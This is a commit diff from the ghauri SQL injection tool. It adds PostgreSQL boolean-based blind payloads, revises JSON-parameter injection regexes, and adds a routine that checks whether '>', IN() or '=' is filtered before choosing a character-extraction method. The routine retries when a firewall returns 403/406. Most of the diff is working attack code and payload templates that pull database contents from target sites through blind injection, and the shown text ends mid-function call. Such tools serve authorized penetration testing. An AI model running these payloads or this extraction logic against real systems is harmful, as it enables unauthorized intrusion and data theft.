Projects STRLCPY ghauri Commits d5f3c408
🤬
  • updated code, added function to check '>', 'IN' and '=' operators/function before extracting characters, this way we will know exactly which method to choose for characters guessing in case of boolean/time based SQL injections..

  • Loading...
  • r0oth3x49 committed 2 years ago
    d5f3c408
    1 parent 50fa71ea
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    ghauri/common/payloads.py
    skipped 949 lines
    950 950   {
    951 951   "payload": "IF(5689=5689) WAITFOR DELAY '0:0:[SLEEPTIME]'",
    952 952   "comments": [
    953  - # {"pref": " ", "suf": ""},
    954 953   {"pref": " ", "suf": "--"},
    955  - {"pref": ";", "suf": "--"},
    956  - # {"pref": "' ", "suf": ""},
    957 954   {"pref": "' ", "suf": "--"},
    958  - # {"pref": "';", "suf": "--"},
    959  - # {"pref": '" ', "suf": ""},
    960 955   {"pref": '" ', "suf": "--"},
    961  - # {"pref": ") ", "suf": ""},
    962 956   {"pref": ") ", "suf": "--"},
    963  - # {"pref": "') ", "suf": ""},
    964 957   {"pref": "') ", "suf": "--"},
    965  - # {"pref": '") ', "suf": ""},
    966 958   {"pref": '") ', "suf": "--"},
    967 959   ],
    968 960   "title": "Microsoft SQL Server/Sybase time-based blind (IF - comment)",
    969 961   "vector": "IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'",
    970  - "dbms": "Microsoft SQL Server",
    971  - },
    972  - {
    973  - "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
    974  - "comments": [
    975  - {"pref": ";", "suf": ""},
    976  - {"pref": "';", "suf": ""},
    977  - {"pref": '";', "suf": ""},
    978  - {"pref": ");", "suf": ""},
    979  - {"pref": "');", "suf": ""},
    980  - {"pref": '");', "suf": ""},
    981  - ],
    982  - "title": "Microsoft SQL Server/Sybase stacked queries",
    983  - "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''",
    984  - "dbms": "Microsoft SQL Server",
    985  - },
    986  - {
    987  - "payload": "WAITFOR DELAY '0:0:[SLEEPTIME]'",
    988  - "comments": [
    989  - {"pref": ";", "suf": "--"},
    990  - {"pref": "';", "suf": "--"},
    991  - {"pref": '";', "suf": "--"},
    992  - {"pref": ");", "suf": "--"},
    993  - {"pref": "');", "suf": "--"},
    994  - {"pref": '");', "suf": "--"},
    995  - ],
    996  - "title": "Microsoft SQL Server/Sybase stacked queries (comment)",
    997  - "vector": ";IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]''",
    998 962   "dbms": "Microsoft SQL Server",
    999 963   },
    1000 964   ],
    skipped 241 lines
    1242 1206   ],
    1243 1207   },
    1244 1208   "PostgreSQL": {
    1245  - "boolean-based": [],
     1209 + "boolean-based": [
     1210 + {
     1211 + "payload": "AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('4568' AS NUMERIC) END)) IS NULL",
     1212 + "comments": [
     1213 + {"pref": " ", "suf": ""},
     1214 + {"pref": " ", "suf": "--"},
     1215 + {"pref": "' ", "suf": ""},
     1216 + {"pref": "' ", "suf": "--"},
     1217 + {"pref": '" ', "suf": ""},
     1218 + {"pref": '" ', "suf": "--"},
     1219 + {"pref": ") ", "suf": ""},
     1220 + {"pref": ") ", "suf": "--"},
     1221 + {"pref": "') ", "suf": ""},
     1222 + {"pref": "') ", "suf": "--"},
     1223 + {"pref": '") ', "suf": ""},
     1224 + {"pref": '") ', "suf": "--"},
     1225 + ],
     1226 + "title": "PostgreSQL AND boolean-based blind - WHERE or HAVING clause",
     1227 + "vector": "AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('4568' AS NUMERIC) END)) IS NULL",
     1228 + "dbms": "PostgreSQL",
     1229 + },
     1230 + {
     1231 + "payload": "OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('4568' AS NUMERIC) END)) IS NULL",
     1232 + "comments": [
     1233 + {"pref": " ", "suf": ""},
     1234 + {"pref": " ", "suf": "--"},
     1235 + {"pref": "' ", "suf": ""},
     1236 + {"pref": "' ", "suf": "--"},
     1237 + {"pref": '" ', "suf": ""},
     1238 + {"pref": '" ', "suf": "--"},
     1239 + {"pref": ") ", "suf": ""},
     1240 + {"pref": ") ", "suf": "--"},
     1241 + {"pref": "') ", "suf": ""},
     1242 + {"pref": "') ", "suf": "--"},
     1243 + {"pref": '") ', "suf": ""},
     1244 + {"pref": '") ', "suf": "--"},
     1245 + ],
     1246 + "title": "PostgreSQL AND boolean-based blind - WHERE or HAVING clause",
     1247 + "vector": "OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('4568' AS NUMERIC) END)) IS NULL",
     1248 + "dbms": "PostgreSQL",
     1249 + },
     1250 + ],
    1246 1251   "inline-query": [],
    1247 1252   "stacked-queries": [
    1248 1253   {
    skipped 531 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/common/utils.py
    skipped 84 lines
    85 85   "application/x-www-form-urlencoded; charset=UTF-8",
    86 86   "application/json",
    87 87   "application/json; charset=UTF-8",
     88 + "application/json;charset=UTF-8",
    88 89   ]:
    89 90   return self.rfile.read().decode("utf-8").strip()
    90 91   
    skipped 956 lines
    1047 1048   value,
    1048 1049   )
    1049 1050   REGEX_HEADER_INJECTION = r"(?is)(?:(%s)(:)(\s*%s))" % (key, value)
    1050  - REGEX_JSON_INJECTION = r"(?is)(?:(['\"]%s['\"])(:)(\s*['\"]%s)(['\"]))" % (
    1051  - key,
    1052  - value,
    1053  - ) # (?is)(?:(['\"]%s['\"])(:)(\s*[\['\"]+%s)(['\"\]]))
     1051 + REGEX_JSON_INJECTION = (
     1052 + r"(?is)(?:(['\"]%s['\"])(:)(\s*['\"\[]*)(%s)(['\"\],]*))"
     1053 + % (
     1054 + key,
     1055 + value,
     1056 + )
     1057 + )
     1058 + # REGEX_JSON_INJECTION = r"(?is)(?:(['\"]%s['\"])(:)(\s*['\"]%s)(['\"]))" % (
     1059 + # key,
     1060 + # json.dumps(value),
     1061 + # ) # (?is)(?:(['\"]%s['\"])(:)(\s*[\['\"]+%s)(['\"\]]))
    1054 1062   REGEX_MULTIPART_INJECTION = (
    1055 1063   r"(?is)(?:(Content-Disposition[^\n]+?name\s*=\s*[\"']?%s[\"']?(.*?))(%s)(\n--))"
    1056 1064   % (key, value)
    skipped 8 lines
    1065 1073   if injection_type in ["GET", "POST", "COOKIE"]:
    1066 1074   if injection_type == "POST" and is_json:
    1067 1075   _ = re.search(REGEX_JSON_INJECTION, text)
    1068  - if _ and "*" in _.group(3).strip():
    1069  - prepared_payload = re.sub(
    1070  - REGEX_JSON_INJECTION,
    1071  - '\\1\\2"%s\\4' % (payload.replace('"', '\\"')),
    1072  - text,
    1073  - )
     1076 + if _ and "*" in _.group(4).strip():
     1077 + value = re.sub(r"\*", "", _.group(4).strip())
     1078 + if len(value) > 0:
     1079 + prepared_payload = re.sub(
     1080 + REGEX_JSON_INJECTION,
     1081 + "\\1\\2\\3%s%s\\5"
     1082 + % (value.replace('"', '\\"'), payload.replace('"', '\\"')),
     1083 + text,
     1084 + )
     1085 + else:
     1086 + prepared_payload = re.sub(
     1087 + REGEX_JSON_INJECTION,
     1088 + "\\1\\2\\3%s\\5" % (payload.replace('"', '\\"')),
     1089 + text,
     1090 + )
    1074 1091   else:
    1075 1092   prepared_payload = re.sub(
    1076 1093   REGEX_JSON_INJECTION,
    1077  - "\\1\\2\\3%s\\4" % (payload.replace('"', '\\"')),
     1094 + "\\1\\2\\3\\4%s\\5" % (payload.replace('"', '\\"')),
    1078 1095   text,
    1079 1096   )
    1080 1097   if replace_value:
    1081 1098   prepared_payload = re.sub(
    1082 1099   REGEX_JSON_INJECTION,
    1083  - '\\1\\2"%s"' % (payload.replace('"', '\\"')),
     1100 + "\\1\\2\\3%s\\5" % (payload.replace('"', '\\"')),
    1084 1101   text,
    1085 1102   )
    1086 1103   else:
    skipped 156 lines
    1243 1260   
    1244 1261  def extract_json_data(data):
    1245 1262   _temp = []
    1246  - for key, value in data.items():
    1247  - if isinstance(value, dict):
    1248  - extract_json_data(value)
    1249  - elif isinstance(value, list):
    1250  - for i in value:
    1251  - extract_json_data(v)
    1252  - elif isinstance(value, str):
    1253  - _temp.append({"key": key, "value": value})
     1263 + if hasattr(data, "items"):
     1264 + for key, value in data.items():
     1265 + if isinstance(value, dict):
     1266 + extract_json_data(value)
     1267 + elif isinstance(value, list):
     1268 + for i in value:
     1269 + if isinstance(i, dict):
     1270 + extract_json_data(i)
     1271 + if isinstance(i, str):
     1272 + _temp.append({"key": key, "value": i})
     1273 + elif isinstance(value, str):
     1274 + _temp.append({"key": key, "value": value})
     1275 + # logger.debug(_temp)
    1254 1276   return _temp
    1255 1277   
    1256 1278   
    skipped 347 lines
    1604 1626   vector=vector,
    1605 1627   )
    1606 1628   _temp.append(_r)
    1607  - elif booleanbased_only:
     1629 + if booleanbased_only:
    1608 1630   entries = payloads.get("boolean-based", [])
    1609 1631   for entry in entries:
    1610 1632   _ = entry.get("payload")
    skipped 26 lines
    1637 1659   vector=vector,
    1638 1660   )
    1639 1661   _temp.append(_r)
    1640  - elif error_based_only:
     1662 + if error_based_only:
     1663 + logger.debug("preparing error based payloads")
    1641 1664   entries = payloads.get("error-based", [])
    1642 1665   for entry in entries:
    1643 1666   _ = entry.get("payload")
    skipped 26 lines
    1670 1693   vector=vector,
    1671 1694   )
    1672 1695   _temp.append(_r)
    1673  - else:
    1674  - for _t, entries in payloads.items():
    1675  - for entry in entries:
    1676  - _ = entry.get("payload")
    1677  - title = entry.get("title")
    1678  - comments = entry.get("comments", [])
    1679  - vector = entry.get("vector", "")
    1680  - backend = entry.get("dbms", "")
    1681  - if backend and dbms:
    1682  - backend = dbms
    1683  - elif backend and not dbms:
    1684  - backend = backend
    1685  - else:
    1686  - backend = None
    1687  - __temp = []
    1688  - for comment in comments:
    1689  - pref = comment.get("pref")
    1690  - suf = comment.get("suf")
    1691  - _p = Payload(
    1692  - prefix=pref,
    1693  - suffix=suf,
    1694  - string="{}{}{}".format(pref, _, suf),
    1695  - raw=_,
    1696  - )
    1697  - __temp.append(_p)
    1698  - _r = Response(
    1699  - dbms=backend if _t != "boolean-based" else None,
    1700  - type=_t,
    1701  - title=title,
    1702  - payloads=__temp,
    1703  - vector=vector,
    1704  - )
    1705  - _temp.append(_r)
    1706 1696   return _temp
    1707 1697   
  • ■ ■ ■ ■ ■
    ghauri/core/extract.py
    skipped 55 lines
    56 56  class GhauriExtractor:
    57 57   """aa"""
    58 58   
    59  - def __init__(self, vectors="", is_string=False):
     59 + def __init__(self, vectors="", is_string=False, skip_urlencodig=False):
    60 60   self.vectors = vectors
    61 61   self.is_string = is_string
     62 + self.skip_urlencodig = skip_urlencodig
     63 + 
     64 + def _check_operator(
     65 + self,
     66 + url,
     67 + data,
     68 + vector,
     69 + parameter,
     70 + headers,
     71 + base,
     72 + injection_type,
     73 + proxy=None,
     74 + is_multipart=False,
     75 + timeout=30,
     76 + delay=0,
     77 + timesec=5,
     78 + attack01=None,
     79 + match_string=None,
     80 + not_match_string=None,
     81 + vector_type=None,
     82 + text_only=False,
     83 + retry=3,
     84 + ):
     85 + GuessUsing = collections.namedtuple(
     86 + "GuessUsing",
     87 + ["ok", "binary_search", "in_based_search", "linear_search", "msg"],
     88 + )
     89 + binary_search = False
     90 + in_based_search = False
     91 + linear_search = False
     92 + retry_on_error = 0
     93 + http_firewall_code_counter = 0
     94 + error_msg = None
     95 + _temp = GuessUsing(
     96 + ok=False,
     97 + binary_search=binary_search,
     98 + in_based_search=in_based_search,
     99 + linear_search=linear_search,
     100 + msg=None,
     101 + )
     102 + expressions = [
     103 + {
     104 + "expression": vector.replace("[INFERENCE]", "6590>6420").replace(
     105 + "[SLEEPTIME]", f"{timesec}"
     106 + ),
     107 + "type": "binary_search",
     108 + },
     109 + {
     110 + "expression": vector.replace(
     111 + "[INFERENCE]", "(SELECT(45))IN(10,45,60)"
     112 + ).replace("[SLEEPTIME]", f"{timesec}"),
     113 + "type": "in_based_search",
     114 + },
     115 + {
     116 + "expression": vector.replace("[INFERENCE]", "09845=9845").replace(
     117 + "[SLEEPTIME]", f"{timesec}"
     118 + ),
     119 + "type": "linear_search",
     120 + },
     121 + ]
     122 + start = 0
     123 + end = len(expressions)
     124 + while start < end:
     125 + entry = expressions[start]
     126 + expression = entry.get("expression")
     127 + _type = entry.get("type")
     128 + logger.payload(f"{expression}")
     129 + if http_firewall_code_counter > 2:
     130 + message = f"{error_msg} - {http_firewall_code_counter} time(s)"
     131 + logger.warning(f"HTTP error code detected during run:")
     132 + choice = logger.read_input(
     133 + f"{message}. how do you want to proceed? [(C)continue/(q)uit] ",
     134 + batch=False,
     135 + user_input="C",
     136 + )
     137 + if choice == "q":
     138 + break
     139 + if choice == "c":
     140 + http_firewall_code_counter = 0
     141 + if retry_on_error >= retry:
     142 + logger.warning(f"Ghauri detected connection errors multiple times")
     143 + choice = logger.read_input(
     144 + f"how do you want to proceed? [(C)continue/(q)uit] ",
     145 + batch=False,
     146 + user_input="C",
     147 + )
     148 + if choice == "q":
     149 + break
     150 + if choice == "c":
     151 + retry_on_error = 0
     152 + if delay > 0:
     153 + time.sleep(delay)
     154 + try:
     155 + attack = inject_expression(
     156 + url=url,
     157 + data=data,
     158 + proxy=proxy,
     159 + delay=delay,
     160 + timesec=timesec,
     161 + timeout=timeout,
     162 + headers=headers,
     163 + parameter=parameter,
     164 + expression=expression,
     165 + is_multipart=is_multipart,
     166 + injection_type=injection_type,
     167 + )
     168 + if attack.status_code in [403, 406]:
     169 + logger.critical(
     170 + f"{attack.error_msg} HTTP error code detected. ghauri is going to retry."
     171 + )
     172 + time.sleep(0.5)
     173 + error_msg = attack.error_msg
     174 + http_firewall_code_counter += 1
     175 + continue
     176 + logger.debug(
     177 + f"sleep time: {timesec}, response time: {attack.response_time}"
     178 + )
     179 + if attack01 and vector_type == "boolean_vector":
     180 + bool_retval = check_boolean_responses(
     181 + base,
     182 + attack,
     183 + attack01,
     184 + match_string=match_string,
     185 + )
     186 + result = bool_retval.vulnerable
     187 + if result:
     188 + if _type == "binary_search":
     189 + _temp = GuessUsing(
     190 + ok=True,
     191 + binary_search=True,
     192 + in_based_search=in_based_search,
     193 + linear_search=linear_search,
     194 + msg="",
     195 + )
     196 + if _type == "in_based_search":
     197 + _temp = GuessUsing(
     198 + ok=True,
     199 + binary_search=binary_search,
     200 + in_based_search=True,
     201 + linear_search=linear_search,
     202 + msg="it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on IN() function",
     203 + )
     204 + if _type == "linear_search":
     205 + _temp = GuessUsing(
     206 + ok=True,
     207 + binary_search=binary_search,
     208 + in_based_search=in_based_search,
     209 + linear_search=True,
     210 + msg="it appears that the character '>' and function 'IN' both are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
     211 + )
     212 + break
     213 + if vector_type == "time_vector":
     214 + response_time = attack.response_time
     215 + if response_time >= timesec:
     216 + if _type == "binary_search":
     217 + _temp = GuessUsing(
     218 + ok=True,
     219 + binary_search=True,
     220 + in_based_search=in_based_search,
     221 + linear_search=linear_search,
     222 + msg=None,
     223 + )
     224 + if _type == "in_based_search":
     225 + _temp = GuessUsing(
     226 + ok=True,
     227 + binary_search=binary_search,
     228 + in_based_search=True,
     229 + linear_search=linear_search,
     230 + msg="it appears that the character '>' is filtered by the back-end server. ghauri will based data retrieval on IN() function",
     231 + )
     232 + if _type == "linear_search":
     233 + _temp = GuessUsing(
     234 + ok=True,
     235 + binary_search=binary_search,
     236 + in_based_search=in_based_search,
     237 + linear_search=True,
     238 + msg="it appears that the character '>' and function 'IN' both are filtered by the back-end server. ghauri will based data retrieval on '=' operator, You are advised to use --delay=3 in this case",
     239 + )
     240 + break
     241 + start += 1
     242 + except KeyboardInterrupt as error:
     243 + logger.warning("user aborted during data extraction phase")
     244 + quest = logger.read_input(
     245 + "how do you want to proceed? [(C)continue/(e)nd this phase/(q)uit] ",
     246 + batch=False,
     247 + user_input="C",
     248 + )
     249 + if quest and quest == "e":
     250 + raise error
     251 + if quest and quest == "q":
     252 + logger.error("user quit")
     253 + logger.end("ending")
     254 + exit(0)
     255 + except ConnectionAbortedError as e:
     256 + logger.critical(
     257 + f"connection attempt to the target URL was aborted by the peer, Ghauri is going to retry"
     258 + )
     259 + retry_on_error += 1
     260 + except ConnectionRefusedError as e:
     261 + logger.critical(
     262 + f"connection attempt to the target URL was refused by the peer. Ghauri is going to retry"
     263 + )
     264 + retry_on_error += 1
     265 + except ConnectionResetError as e:
     266 + logger.critical(
     267 + f"connection attempt to the target URL was reset by the peer. Ghauri is going to retry"
     268 + )
     269 + retry_on_error += 1
     270 + except Exception as error:
     271 + logger.critical(
     272 + f"error {error}, during operator check phase. Ghauri is going to retry"
     273 + )
     274 + retry_on_error += 1
     275 + logger.debug(_temp)
     276 + if _temp.ok:
     277 + if _temp.msg:
     278 + logger.warning(_temp.msg)
     279 + return _temp
    62 280   
    63 281   def validate_character(
    64 282   self,
    skipped 11 lines
    76 294   timesec=5,
    77 295   attack01=None,
    78 296   match_string=None,
     297 + not_match_string=None,
    79 298   suppress_output=False,
    80 299   query_check=False,
    81 300   identified_character=None,
    skipped 1 lines
    83 302   queryable=None,
    84 303   offset=None,
    85 304   expression_payload=None,
     305 + text_only=False,
     306 + retry=3,
    86 307   ):
    87 308   # we will validate character indendified in case of boolean based blind sqli only for now..
    88 309   is_valid = False
     310 + retry_on_error = 0
     311 + http_firewall_code_counter = 0
     312 + error_msg = None
    89 313   if identified_character:
    90  - condition = expression_payload.format(
    91  - query=queryable,
    92  - position=offset,
    93  - char=ord(identified_character),
    94  - )
    95  - expression = vector.replace("[INFERENCE]", f"{condition}").replace(
    96  - "[SLEEPTIME]", f"{timesec}"
    97  - )
    98  - sleep_time = timesec
    99  - # logger.debug(
    100  - # f"verifiying the identified character is correct or not: '{identified_character}'"
    101  - # )
    102  - logger.payload(f"{expression}")
    103  - attack = inject_expression(
    104  - url=url,
    105  - data=data,
    106  - proxy=proxy,
    107  - delay=delay,
    108  - timesec=timesec,
    109  - timeout=timeout,
    110  - headers=headers,
    111  - parameter=parameter,
    112  - expression=expression,
    113  - is_multipart=is_multipart,
    114  - injection_type=injection_type,
    115  - )
    116  - logger.debug(
    117  - f"sleep time: {sleep_time}, response time: {attack.response_time}"
    118  - )
    119  - if attack01 and vector_type == "boolean_vector":
    120  - bool_retval = check_boolean_responses(
    121  - base,
    122  - attack,
    123  - attack01,
    124  - match_string=match_string,
     314 + for i in range(1, retry + 1):
     315 + if http_firewall_code_counter > 2:
     316 + message = f"{error_msg} - {http_firewall_code_counter} time(s)"
     317 + logger.warning(f"HTTP error code detected during run:")
     318 + choice = logger.read_input(
     319 + f"{message}. how do you want to proceed? [(C)continue/(q)uit] ",
     320 + batch=False,
     321 + user_input="C",
     322 + )
     323 + if choice == "q":
     324 + break
     325 + if choice == "c":
     326 + http_firewall_code_counter = 0
     327 + if retry_on_error >= retry:
     328 + logger.warning(f"Ghauri detected connection errors multiple times")
     329 + choice = logger.read_input(
     330 + f"how do you want to proceed? [(C)continue/(q)uit] ",
     331 + batch=False,
     332 + user_input="C",
     333 + )
     334 + if choice == "q":
     335 + break
     336 + if choice == "c":
     337 + retry_on_error = 0
     338 + if delay > 0:
     339 + time.sleep(delay)
     340 + condition = expression_payload.format(
     341 + query=queryable,
     342 + position=offset,
     343 + char=ord(identified_character),
    125 344   )
    126  - result = bool_retval.vulnerable
    127  - if result:
    128  - is_valid = True
    129  - logger.debug("character is valid.")
    130  - if vector_type == "time_vector":
    131  - response_time = attack.response_time
    132  - if response_time >= sleep_time:
    133  - logger.debug("character is valid.")
    134  - is_valid = True
     345 + expression = vector.replace("[INFERENCE]", f"{condition}").replace(
     346 + "[SLEEPTIME]", f"{timesec}"
     347 + )
     348 + sleep_time = timesec
     349 + logger.payload(f"{expression}")
     350 + try:
     351 + attack = inject_expression(
     352 + url=url,
     353 + data=data,
     354 + proxy=proxy,
     355 + delay=delay,
     356 + timesec=timesec,
     357 + timeout=timeout,
     358 + headers=headers,
     359 + parameter=parameter,
     360 + expression=expression,
     361 + is_multipart=is_multipart,
     362 + injection_type=injection_type,
     363 + )
     364 + if attack.status_code in [403, 406]:
     365 + logger.critical(
     366 + f"{attack.error_msg} HTTP error code detected. ghauri is going to retry."
     367 + )
     368 + time.sleep(0.5)
     369 + error_msg = attack.error_msg
     370 + http_firewall_code_counter += 1
     371 + continue
     372 + logger.debug(
     373 + f"sleep time: {sleep_time}, response time: {attack.response_time}"
     374 + )
     375 + if attack01 and vector_type == "boolean_vector":
     376 + bool_retval = check_boolean_responses(
     377 + base,
     378 + attack,
     379 + attack01,
     380 + match_string=match_string,
     381 + )
     382 + result = bool_retval.vulnerable
     383 + if result:
     384 + is_valid = True
     385 + logger.debug("character is valid.")
     386 + if vector_type == "time_vector":
     387 + response_time = attack.response_time
     388 + if response_time >= sleep_time:
     389 + logger.debug("character is valid.")
     390 + is_valid = True
     391 + break
     392 + except KeyboardInterrupt as error:
     393 + logger.warning("user aborted during data extraction phase")
     394 + quest = logger.read_input(
     395 + "how do you want to proceed? [(C)continue/(e)nd this phase/(q)uit] ",
     396 + batch=False,
     397 + user_input="C",
     398 + )
     399 + if quest and quest == "e":
     400 + raise error
     401 + if quest and quest == "q":
     402 + logger.error("user quit")
     403 + logger.end("ending")
     404 + exit(0)
     405 + except ConnectionAbortedError as e:
     406 + logger.critical(
     407 + f"connection attempt to the target URL was aborted by the peer, Ghauri is going to retry"
     408 + )
     409 + retry_on_error += 1
     410 + except ConnectionRefusedError as e:
     411 + logger.critical(
     412 + f"connection attempt to the target URL was refused by the peer. Ghauri is going to retry"
     413 + )
     414 + retry_on_error += 1
     415 + except ConnectionResetError as e:
     416 + logger.critical(
     417 + f"connection attempt to the target URL was reset by the peer. Ghauri is going to retry"
     418 + )
     419 + retry_on_error += 1
     420 + except Exception as error:
     421 + logger.critical(
     422 + f"error {error}, during detection phase. Ghauri is going to retry"
     423 + )
     424 + retry_on_error += 1
    135 425   return is_valid
    136 426   
    137 427   def _search_using_in_operator(
    skipped 45 lines
    183 473   
    184 474   list_split_by = 26
    185 475   while not is_found:
    186  - # logger.debug(
    187  - # f"splitting ascii characters by: {list_split_by}, (minimum={minimum}, maximum={maximum})"
    188  - # )
    189 476   sorted_ascii_list = list(
    190 477   chunks(
    191 478   sorted([str(i) for i in range(minimum, maximum + 1)]),
    skipped 65 lines
    257 544   logger.debug(
    258 545   f"sleep time: {sleep_time}, response time: {response_time}"
    259 546   )
    260  - if response_time >= sleep_time:
    261  - characters_list = sorted([int(i) for i in characters_list])
    262  - minimum = characters_list[0]
    263  - maximum = characters_list[-1]
    264  - list_split_by = len(characters_list) // 2
    265  - if len(characters_list) == 1:
    266  - character = characters_list.pop()
    267  - character = chr(int(character))
    268  - is_found = True
    269  - break
    270  - else:
    271  - index += 1
     547 + if attack01 and vector_type == "boolean_vector":
     548 + bool_retval = check_boolean_responses(
     549 + base,
     550 + attack,
     551 + attack01,
     552 + match_string=match_string,
     553 + not_match_string=not_match_string,
     554 + text_only=text_only,
     555 + )
     556 + result = bool_retval.vulnerable
     557 + if result:
     558 + characters_list = sorted([int(i) for i in characters_list])
     559 + minimum = characters_list[0]
     560 + maximum = characters_list[-1]
     561 + list_split_by = len(characters_list) // 2
     562 + if len(characters_list) == 1:
     563 + character = characters_list.pop()
     564 + character = chr(int(character))
     565 + is_found = True
     566 + break
     567 + else:
     568 + index += 1
     569 + if vector_type == "time_vector":
     570 + if response_time >= sleep_time:
     571 + characters_list = sorted([int(i) for i in characters_list])
     572 + minimum = characters_list[0]
     573 + maximum = characters_list[-1]
     574 + list_split_by = len(characters_list) // 2
     575 + if len(characters_list) == 1:
     576 + character = characters_list.pop()
     577 + character = chr(int(character))
     578 + is_found = True
     579 + break
     580 + else:
     581 + index += 1
    272 582   except KeyboardInterrupt as error:
    273 583   logger.warning("user aborted during data extraction phase")
    274 584   quest = logger.read_input(
    skipped 209 lines
    484 794   headers,
    485 795   injection_type,
    486 796   proxy=None,
     797 + attack01=None,
    487 798   is_multipart=False,
    488 799   timeout=30,
    489 800   delay=0,
    490 801   timesec=5,
     802 + match_string=None,
     803 + not_match_string=None,
     804 + text_only=False,
    491 805   suppress_output=False,
    492 806   expression_payload=None,
    493 807   queryable=None,
    494 808   chars="",
    495 809   offset=0,
    496 810   list_of_chars=None,
     811 + vector_type=None,
    497 812   retry=3,
     813 + base=None,
    498 814   ):
    499 815   # need to implement retry mechanism in case of http connection related errors..
    500 816   character = ""
    skipped 61 lines
    562 878   http_firewall_code_counter += 1
    563 879   continue
    564 880   start += 1
    565  - response_time = attack.response_time
    566  - logger.debug(
    567  - f"sleep time: {sleep_time}, response time: {response_time}"
    568  - )
    569  - if response_time >= sleep_time:
    570  - character += str(ascii_char)
    571  - break
     881 + if attack01 and vector_type == "boolean_vector":
     882 + bool_retval = check_boolean_responses(
     883 + base,
     884 + attack,
     885 + attack01,
     886 + match_string=match_string,
     887 + not_match_string=not_match_string,
     888 + text_only=text_only,
     889 + )
     890 + result = bool_retval.vulnerable
     891 + if result:
     892 + character += str(ascii_char)
     893 + break
     894 + if vector_type == "time_vector":
     895 + response_time = attack.response_time
     896 + logger.debug(
     897 + f"sleep time: {sleep_time}, response time: {response_time}"
     898 + )
     899 + if response_time >= sleep_time:
     900 + character += str(ascii_char)
     901 + break
    572 902   except KeyboardInterrupt as error:
    573 903   logger.warning("user aborted during data extraction phase")
    574 904   quest = logger.read_input(
    skipped 253 lines
    828 1158   chars=chars,
    829 1159   offset=pos,
    830 1160   list_of_chars="2013456789",
     1161 + vector_type=vector_type,
    831 1162   )
    832 1163   chars += retval
    833 1164   logger.debug(f"character found: '{str(chars)}'")
    skipped 235 lines
    1069 1400   change_algo_on_invalid_character = False
    1070 1401   invalid_character_detection_counter = 0
    1071 1402   is_change_algo_notified = False
     1403 + binary_search = False
     1404 + in_based_search = False
     1405 + linear_search = False
    1072 1406   for vector_type, vector in self.vectors.items():
    1073 1407   if vector_type in ["error_vector"]:
    1074 1408   continue
    1075  - logger.debug(f"testing now with vector '{vector}'")
     1409 + # logger.debug(f"testing now with vector '{vector}'")
    1076 1410   length = self.fetch_length(
    1077 1411   url,
    1078 1412   data,
    skipped 26 lines
    1105 1439   if query_check:
    1106 1440   return PayloadResponse(ok=True, error="", result="", payload=length)
    1107 1441   is_done_with_vector = False
     1442 + retval_check = self._check_operator(
     1443 + url,
     1444 + data,
     1445 + vector,
     1446 + parameter,
     1447 + headers,
     1448 + base,
     1449 + injection_type,
     1450 + proxy=proxy,
     1451 + is_multipart=is_multipart,
     1452 + timeout=timeout,
     1453 + delay=delay,
     1454 + timesec=timesec,
     1455 + attack01=attack01,
     1456 + match_string=match_string,
     1457 + not_match_string=not_match_string,
     1458 + vector_type=vector_type,
     1459 + text_only=text_only,
     1460 + )
     1461 + if retval_check.ok:
     1462 + binary_search = retval_check.binary_search
     1463 + in_based_search = retval_check.in_based_search
     1464 + linear_search = retval_check.linear_search
     1465 + if not retval_check.ok:
     1466 + logger.critical(
     1467 + "ghauri will not be able to extract data as '=', 'IN' and '>' all are filtered by back-end server.."
     1468 + )
     1469 + logger.end("ending")
     1470 + exit(0)
    1108 1471   for entries in data_extraction_payloads:
    1109 1472   is_extracted = False
    1110 1473   for _, value in entries.items():
    skipped 7 lines
    1118 1481   if attack01 and vector_type == "boolean_vector":
    1119 1482   # extract characters using binary search algorithm
    1120 1483   try:
    1121  - retval = self._binary_search(
    1122  - url=url,
    1123  - data=data,
    1124  - vector=vector,
    1125  - parameter=parameter,
    1126  - headers=headers,
    1127  - base=base,
    1128  - injection_type=injection_type,
    1129  - delay=delay,
    1130  - timesec=timesec,
    1131  - timeout=timeout,
    1132  - proxy=proxy,
    1133  - attack01=attack01,
    1134  - code=code,
    1135  - match_string=match_string,
    1136  - not_match_string=not_match_string,
    1137  - is_multipart=is_multipart,
    1138  - suppress_output=suppress_output,
    1139  - query_check=query_check,
    1140  - minimum=32,
    1141  - maximum=127,
    1142  - offset=pos,
    1143  - expression_payload=value,
    1144  - queryable=entry,
    1145  - chars=chars,
    1146  - text_only=text_only,
    1147  - vector_type=vector_type,
    1148  - )
     1484 + if binary_search:
     1485 + retval = self._binary_search(
     1486 + url=url,
     1487 + data=data,
     1488 + vector=vector,
     1489 + parameter=parameter,
     1490 + headers=headers,
     1491 + base=base,
     1492 + injection_type=injection_type,
     1493 + delay=delay,
     1494 + timesec=timesec,
     1495 + timeout=timeout,
     1496 + proxy=proxy,
     1497 + attack01=attack01,
     1498 + code=code,
     1499 + match_string=match_string,
     1500 + not_match_string=not_match_string,
     1501 + is_multipart=is_multipart,
     1502 + suppress_output=suppress_output,
     1503 + query_check=query_check,
     1504 + minimum=32,
     1505 + maximum=127,
     1506 + offset=pos,
     1507 + expression_payload=value,
     1508 + queryable=entry,
     1509 + chars=chars,
     1510 + text_only=text_only,
     1511 + vector_type=vector_type,
     1512 + )
     1513 + elif in_based_search:
     1514 + retval = self._search_using_in_operator(
     1515 + url=url,
     1516 + data=data,
     1517 + vector=vector,
     1518 + parameter=parameter,
     1519 + headers=headers,
     1520 + base=base,
     1521 + injection_type=injection_type,
     1522 + delay=delay,
     1523 + timesec=timesec,
     1524 + timeout=timeout,
     1525 + proxy=proxy,
     1526 + attack01=attack01,
     1527 + match_string=match_string,
     1528 + not_match_string=not_match_string,
     1529 + text_only=text_only,
     1530 + is_multipart=is_multipart,
     1531 + suppress_output=suppress_output,
     1532 + query_check=query_check,
     1533 + minimum=32,
     1534 + maximum=127,
